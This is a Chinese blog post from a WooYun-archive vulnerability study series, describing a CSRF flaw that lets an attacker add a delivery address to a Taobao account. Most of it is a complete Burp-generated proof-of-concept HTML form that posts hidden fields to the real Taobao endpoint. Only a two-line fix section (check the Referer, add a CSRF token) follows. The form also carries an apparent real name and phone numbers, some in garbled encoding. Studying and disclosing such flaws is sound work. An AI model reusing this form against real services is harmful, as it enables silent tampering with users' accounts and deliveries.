【漏洞学习——CSRF】淘宝网CSRF添加收货地址

最新推荐文章于 2024-05-21 08:50:02 发布

FLy_鹏程万里

最新推荐文章于 2024-05-21 08:50:02 发布

阅读量1.2k

点赞数

分类专栏：【渗透测试实战】 # 乌云漏洞案例学习

本文链接：https://blog.csdn.net/Fly_hps/article/details/84389810

版权

【渗透测试实战】同时被 2 个专栏收录

160 篇文章 18 订阅

订阅专栏

乌云漏洞案例学习

75 篇文章 23 订阅

订阅专栏

漏洞细节

漏洞URL:http://member1.taobao.com/member/fresh/deliver_address.htm

收获地址细节：

表单信息内容

<html>
  <body>
    <form action="http://member1.taobao.com/member/fresh/deliver_address.htm" method="POST">
      <input type="hidden" name="action" value="DeliverAddressMgr" />
      <input type="hidden" name="event&#95;submit&#95;do&#95;save" value="anything" />
      <input type="hidden" name="from" value="mbis" />
      <input type="hidden" name="isFrame" value="false" />
      <input type="hidden" name="token" value="" />
      <input type="hidden" name="lang" value="zh&#45;S" />
      <input type="hidden" name="&#95;tb&#95;token&#95;" value="OXM1aifkM5p" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="x" value="25&#46;03945" />
      <input type="hidden" name="y" value="102&#46;714729" />
      <input type="hidden" name="reurl" value="" />
      <input type="hidden" name="country" value="" />
      <input type="hidden" name="prov" value="530000" />
      <input type="hidden" name="provExt" value="" />
      <input type="hidden" name="city" value="530100" />
      <input type="hidden" name="area" value="530102" />
      <input type="hidden" name="town" value="530102002" />
      <input type="hidden" name="addressDetail" value="&#187;&#164;&#185;úÂ&#183;68ºÅ&#32;ÖÐ&#185;úÅ&#169;Òµ&#183;&#162;Õ&#185;ÒøÐÐÔÆÄÏÊ&#161;&#183;ÖÐÐ&#191;Í&#183;&#191;&#178;&#191;" />
      <input type="hidden" name="post" value="650001" />
      <input type="hidden" name="fullName" value="ÀîöÎ" />
      <input type="hidden" name="mobile&#95;area" value="1" />
      <input type="hidden" name="mobile" value="18206849493" />
      <input type="hidden" name="phone&#95;area" value="1" />
      <input type="hidden" name="phoneSection" value="0871" />
      <input type="hidden" name="phoneCode" value="3528991" />
      <input type="hidden" name="phoneExt" value="352799" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

使用burpsuite生成CSRF请求包，之后再浏览器当中进行访问

修复方案

1、检查Reference
2、添加CSRF-Token校验

参见：https://bugs.shuimugan.com/bug/view?bug_no=164471

FLy_鹏程万里

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
【漏洞学习——CSRF】淘宝网CSRF添加收货地址

漏洞细节漏洞URL:http://member1.taobao.com/member/fresh/deliver_address.htm收获地址细节：表单信息内容&lt;html&gt; &lt;body&gt; &lt;form action="http://member1.taobao.com/member/fresh/deliver_address.htm"...
复制链接

扫一扫